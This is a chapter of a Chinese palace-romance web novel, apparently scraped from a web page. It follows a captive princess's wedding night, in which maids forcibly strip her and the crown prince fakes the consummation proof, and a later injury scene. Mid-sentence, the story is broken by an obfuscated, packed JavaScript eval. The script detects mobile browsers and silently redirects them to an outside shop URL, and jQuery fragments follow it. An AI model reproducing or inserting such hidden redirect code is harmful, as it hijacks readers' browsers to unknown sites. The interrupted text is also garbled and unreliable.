5. 问喜(已修)

作品:《忽逢楚月照宫楼

    临近宫夜宴,惠娘给她梳妆打扮好后才将她放出来,凤辇将她抬至大宁宫内的一处大殿。


    颜书遥与纪千凌同席,宴舞完毕便是各国使臣的恭贺进献。


    她等这刻等了许久。


    原想借各国使臣在场,寻到楚国使节传递家书,可直到最后一位使臣退场,也没见到楚人的身影。


    宴散后,惠娘伺候她沐浴。


    颜书遥将整个身子都泡进汤中,水漫过脖颈,“惠娘,你可曾见过楚国人?”


    “婢子之前没有见过,现在见过了。”惠娘跪在她身后,给她按揉肩颈,特地绕开左肩上的伤口。


    “我说的是宫里的楚人,除我之外的。”


    “那倒是未曾见过。”


    踏出汤池子,惠娘给她换上一件薄纱裙。


    纱裙很透,几乎一览无余,与其说是衣裳,倒不如说只是一层添了朦胧感的轻纱,遮不住什么。


    “惠娘,这衣裳也太……单薄了,我今夜就寝,穿这个?”


    “是呢太子妃,”惠娘笑着上前帮她整理裙摆,“这是宁宫传下的规矩,新妇新婚第一夜都要穿这个。这般穿着,能让夫妻间少些生分,多些亲近,于情分有益。”


    惠娘给颜书遥外罩了件斗篷,把她送回寝殿。


    这东宫的浴池殿离寝殿不远,也就几步之遥。颜书遥将斗篷捂紧,她这裙底下什么也没穿,漏进来的风,让她走路都不自在。


    寝殿内的烛火亮着,惠娘把颜书遥送进去,便要脱下她身上的斗篷。


    “惠娘,我不!”颜书遥紧紧抓住斗篷,不让惠娘脱下来。


    惠娘低声哄她,“太子妃,听话。”


    颜书遥不肯松手,惠娘便叫了几个宫女,使出蛮力将颜书遥斗篷彻底脱下来,


    纪千凌坐在床前的圆凳上背对着她们,新婚夜不让他批折子,他就干坐在那儿。


    待他听见动静转身走过来时,惠娘已经抱着斗篷赶着几个宫女一起走出寝殿,锁上了门。


    颜书遥觉得屈辱,手臂交叉在胸.前,背过身去。一想到纪千凌从身后看过来的目光,她后背也凉嗖嗖的。


    她紧闭着眼睛,不敢睁眼。她能感觉到纪千凌过来了,心里已经做好和他一决生死的准备。


    “穿这么少,也不怕着凉。”


    纪千凌用暖烘烘的被褥裹住她整个身子,她才睁开眼。


    颜书遥听这话气得慌,她才不想穿这不正经的衣裳,纪千凌说的倒全成了她的错。


    她裹紧被子推开纪千凌,转了个面正对他,“还不是你们宁宫下三滥的规矩!这破布谁稀罕穿?!”


    “夜深了,歇息吧。”纪千凌坐回到圆凳上。


    她才不会如他愿,站在原地不动。


    纪千凌在桌案前坐了许久,回头看她还在原地,“颜书遥,还不上榻?”


    “你……你怎么不上榻?”颜书遥与他保持疏远,时刻警醒,困意也没了。


    “我在这守着你睡。”纪千凌又坐得离床榻远了许多,补了一句,“不会碰你……”


    颜书遥站得腿酸,往前走近几步。


    纪千凌坐在榻式宝座上,头倒向一边没动静,不细看还以为他是在赏摆在花几的两朵粉紫色牡丹。


    “这…就睡着了……?”


    颜书遥蹑手蹑脚地走到他面前,从被子里探出一只手在他面前晃,看他半点儿反应都没,是真睡去了,才安心裹拢被子躺上.床榻。


    殿内的烛火未灭,刺眼睛,颜书遥见床内.侧有块绣有鸳鸯的白色锦帕,顺手拿起盖在脸上。


    烛台上的烛火燃烧了一整夜,恰在天渐亮时通通灭去。


    “婢子请太子殿下、太子妃安,禀二位,太后娘娘宫里的掌事嬷嬷来了,正在门外候着。”


    是惠娘的声音。


    颜书遥睡得迷糊,听到了也未在意。她认床,夜里不停翻身,本应盖在面上的白色锦帕,被她压.在脸下,弄得皱巴巴的。


    紧接是窸窸窣窣开锁的杂音。


    纪千凌听到动静后,迅速站起身,朝里边的床榻走,边走边脱.衣裳,乱了一地。他留了一件里衣钻进被窝,掀下她脸上的锦帕攥在手心,手臂穿过颜书遥后背把她按进怀里。


    “疼——!”


    纪千凌将脸埋进她肩窝,慌乱之下他鼻头顶.到她肩上的伤口,疼得她喊了出来。


    “书遥乖,再忍一会儿。”


    颜书遥睡意全无,她身上的纱衣薄如蝉翼,与不着寸缕无异。纪千凌贴着她,两人相触的温热相互浸过来。


    纪千凌见她有叫唤的势头,将小臂塞她嘴里任她咬。


    掌事嬷嬷刚跨过门槛就听见叫唤,还瞥见被褥鼓起个大包蠕动着,急忙退出殿外,“太、太子殿下恕罪,婢子失礼!”


    颜书遥用劲咬他的手臂,咬到下颌骨没了知觉。


    纪千凌撑起身子,迅速给她盖好被褥,从被窝离开。他捡起丢在地上的衣裳穿回身上,还留了一件自己的宽大外袍递到床前给她,“颜…书遥,该起身了。”


    “卑鄙!”


    颜书遥将被子捂在胸口,狠狠抡了他一巴掌。


    这巴掌甩得纪千凌的脸侧到另一旁,他耳根子早已红透到脖颈,“书遥,我也迫不得已,宁宫规矩,新婚夜要圆房,若被人看出你我昨夜并未……你日后少不了被皇祖母刁难,方才只是做做样子给外人看。”


    “没想到吓到了你。”


    颜书遥满眼鄙夷,埋进被子里不想看见他。


    纪千凌随即为她拉下床幔,隔着门道,“惠娘,进来为太子妃更衣。”


    掌事嬷嬷跟在惠娘身后一同进来,


    惠娘挡住那位老嬷嬷去路,“孔嬷嬷且留步,太子妃尚未梳洗更衣,不便见外人。”


    宫女端着几盆热水,将帕子浸.湿拧干捧到惠娘手中,惠娘卷起床幔一角,为颜书遥擦拭身子。


    惠娘给她擦完上半身,又换了帕子轻拭颜书遥的腿心处,皱了点眉头,贴在颜书遥耳边悄咪.咪道,“太子妃,你和殿下他……”


    颜书遥没听明白,惠娘也不再往下说,默默为她穿好衣裳。


    掌事嬷嬷见服侍的宫女已退出寝殿,缓步走到二人面前行礼,“太子、太子妃安。婢子奉太后懿旨,前来问喜。”


    颜书遥端坐于床沿,心里还在为方才纪千凌的举动闷闷不乐。


    掌事嬷嬷立于床尾,伸出脖子打量凌乱的床榻,见无所获,又将整张床的被褥翻开一遍,面色古怪。


    “孔嬷嬷,”纪千凌从袖中拿出那块白色鸳鸯锦帕,“是在找此物?”


    他昨夜早就让惠娘将帕子略作处理,撒了些许女子会用的香粉。白帕子上染了一块块斑驳的血迹,颜书遥咬得狠,血是纪千凌刚从自己小臂上取的,但并不多,瞧着与女子初落红痕别无异。


    “本宫怜惜太子妃,没、没敢太疼她。”


    在颜书遥看来,那不过是块沾了污渍的帕子,脏了便该丢进秽桶,可这老嬷嬷竟当宝贝般捧着。她瞧嬷嬷将帕子铺在素白瓷盘上,借晨光细细翻查帕角,凑着嗅不够,还要用手摸帕面褶皱。


    宁宫净是些拿不上台面的规矩,也难怪能教出纪千凌这样的货色。


    验完后,掌事嬷嬷将帕子重新叠好,装入锦盒,“婢子这就去回禀太后,喜帕有证,东宫昨夜安和。”


    掌事嬷嬷将锦盒揣入袖中躬身退出寝殿。


    纪千凌若无其事地整理衣襟,颜书遥小声骂了句,“无.耻之徒。”


    “颜书遥,本宫若真无.耻,你还能起身?公主在楚宫嚣张跋扈些无妨,但本宫这,赏罚分明,劝你收敛些性子。”


    颜书遥走到纪千凌面前,个头刚到他胸.前。


    “纪千凌,你是太子又如何?娶我不也身不由己?还要靠我一个女子来稳你的江山社稷,算什么本事!”


    “一个亡国公主,本宫娶来有何用?供着玩罢了。”


    纪千凌面不改色,勾起手,轻浮地抚她的侧脸,被颜书遥拍开,“下流!”


    惠娘本忙着铺垫新被褥,停下手头的活,欠身来到纪千凌面前,“瞧是婢子糊涂了!”


    “太子殿下,陛下赏的新茶已为您沏好备在书房,再不去尝尝怕是要凉了。”


    火药味浓,惠娘有意将两人支开。


    “本宫这就去品上一品,不枉父皇的心意。”


    话落,纪千凌带出一阵风走了。


    惠娘是在宫里讨生活的女子,能坐到这个位子着实不易。


    昨夜惠娘照宫里规矩办事,扯走她身上斗篷,颜书遥知道不能记恨,但心里总归还是有那么点儿过意不去。


    颜书遥坐在桌前,光喝茶,没看惠娘。


    “太子妃,这壶茶凉,味道苦,”


    惠娘将盂上的粉彩砂壶端走,托过一只圆润的青瓷壶,为她重新斟上一盏,“新换的这壶,是婢子用蒲桃果肉混蜜渍杏子捣烂,再与绛云红茶同煮出来的,没有纯叶茶泡出来的苦涩味。”


    “婢子寻思,太子妃应会喜欢。”


    颜书遥接过杯盏,手中的茶汤红艳,甜香浓郁,入口不腻,气也随之消解大半。


    “嗯,甜。”


    颜书遥接连饮了几盏,惠娘脸上的笑意更浓,唤进早膳,逐一给颜书遥介绍个遍。


    有惠娘在耳边唠叨,寝宫里也不觉着闷了。


    宫外头来了个老太监,惠娘出去接话,不到片刻便回来,“太子妃,赵姑娘说是昨日没能与您一叙,她现如今在外候着,要等太子妃一句话。”


    “她怎么不进来?惠娘,把赵姑娘请进来。”颜书遥早膳也吃好了,宫女捧来银盆净手,递上软帕。


    “太


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092226|195480||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子妃,太子殿下昨夜已下令,不允赵姑娘踏入东宫半步。赵姑娘如今在东宫外候着,是想约您到太后娘娘的长乐宫去。”


    颜书遥拭完手后,宫女紧接着奉上茶漱口,颜书遥没间隙说话。


    惠娘怕颜书遥为难,小声道,“太子妃不愿也不必勉强,婢子替您回赵姑娘,就说您身子不便。”


    若不去,赵兰心再在太后面前参她一本,她在这宫中不就彻底孤立无援了么?去长乐宫也好,能堵赵兰心的嘴,也能知道太后对赵家的态度,顺便探探楚宫的消息是否有人知晓。


    “惠娘,我去。”


    大婚的喜气尚未褪.去,她乘辇,身后跟着袅袅宫娥。


    *


    长乐未乐,春.色染沧桑,她步履入这凄寂。


    太后寝宫本就人迹罕至,加之太后素日清闲,嗜睡些,天色不早,却仍未起身。


    颜书遥与赵兰心不愿因请安扰了太后好眠,便默契地停在外殿院中的梨花树下,寻了石凳坐下。


    “太子妃,您这腰间的玉佩瞧着精巧,这雕的凤凰纹样也新颖。京里那些有名的玉匠怕是都做不出这手艺。是太子殿下特意给你挑的吧?”


    赵兰心盯着她那块玉佩,眼里难掩的羡慕,又怕失了分寸,朝颜书遥露出一抹温软的笑。


    颜书遥这才发现惠娘给她更的衣,把玉佩系在了外头。


    “这是我哥哥赠的。”颜书遥解下玉佩,小心翼翼托在掌心,指腹一遍遍摩挲着玉身。


    楚宫里玉佩何其多,却唯有这一枚,是那场大火后仅存的念想,是楚宫留给她的最后一点余温。只要看着这枚玉佩,那夜火光映天的画面,便不由地涌上来。


    “凤凰浴火,方成百鸟之王,是个好寓意。”赵兰心双手托着下巴,身子往前倾了倾,凑得极近去看颜书遥掌心的玉佩。


    颜书遥见她是真切的喜欢,便笑着起身想将玉佩递过去。


    谁知颜书遥刚起身,手还未松,玉佩便毫无缘由地顺着掌心滑落,磕在石凳角上,顷刻之间裂成了数半。


    颜书遥心也咚地一声,愣在那儿,手还维持着递出的姿势。


    大楚最后的温存,也这般倔强,不愿陪她留在宁宫共度么……


    过了半晌,颜书遥才缓过神,蹲下身子,胡乱去抓石凳上的碎玉片。玉茬划破掌心,鲜血渗出来,染得玉片红殷殷的。


    “是凤凰破玉飞出来了!”赵兰心看着满地残玉与血迹,慌得手足无措,蹲下来帮着捡,想着圆过去,“快看,它飞进太子妃身子里去了!”


    院中的宫人齐刷刷跪伏在地,齐声附和:“真凤显灵!恭贺太子妃!”


    真是讽刺……


    玉碎人离语难诉,唯有泪自流。


    纪千凌恰在此时踏入院门,一眼便望见颜书遥蹲在地上。


    他大步奔到她身边,将人扶到石桌前,攥住她的手臂:“颜书遥,你怎么弄伤的?!”


    没等她开口,他转头看向赵兰心,“赵姑娘,祖母尚未醒,你便带太子妃来长乐宫,还闹出这等动静。”


    “纪千凌,是我自己把玉摔碎的……”颜书遥生怕他错怪旁人,急忙打断他,“不怪赵姐姐,她方才还帮我捡玉,人很好的。”


    赵兰心从怀中摸出个塞着红布的小瓷瓶递到桌上,“这是先父留下的金创药,是他当年征战时寻神医配的,我.日日带在身上留作念想。药效很好,敷了不会留疤。”


    “多谢赵姐姐……”


    “臣女告退。”赵兰心屈膝行礼,轻声退出去。


    “太子妃,太医来了。”惠娘引拎着药箱的太医快步进来,为颜书遥清理伤口。


    纪千凌站在她身侧看太医给她上药。


    太医从布袋里取出把小刀,在烛火上烫得发红,“老夫要将扎进肉里的碎玉取出来,太子妃须忍一忍。”


    颜书遥缩回摊在石桌上的手,才缩回几厘便被纪千凌按住。


    “惠娘,按住她手臂,别让她动。”纪千凌俯身凑近,另一只手揽着她的肩,将她的脸往自己腰腹按去,“别怕,看不见就不疼了。太医,轻些……”


    颜书遥憋得有些喘,刚想偏头挣开,太医的刀尖已触到皮肉。剧痛窜上来,她不受控地往纪千凌怀里缩,慌乱中咬住了他腰间的玉带。


    “颜书遥,太疼就咬肉,别咬腰带。”


    堂堂太子金口玉言,这可是报复纪千凌千载难逢的好机会。颜书遥一点都不客气,直接在他腰侧咬了一.大口肉。


    “呃……”


    颜书遥脸贴着纪千凌的肚子,明显感觉到他腹部肌肉绷紧,连带着腰腹凹了下去。她心底畅快不少,连掌心的疼都淡了。


    太医收回刀,吩咐宫人:“快取一壶烈酒来!”


    “太子殿下,太子妃伤口里的淤血缠在筋脉旁,用刀取恐伤了她。需……需您来……”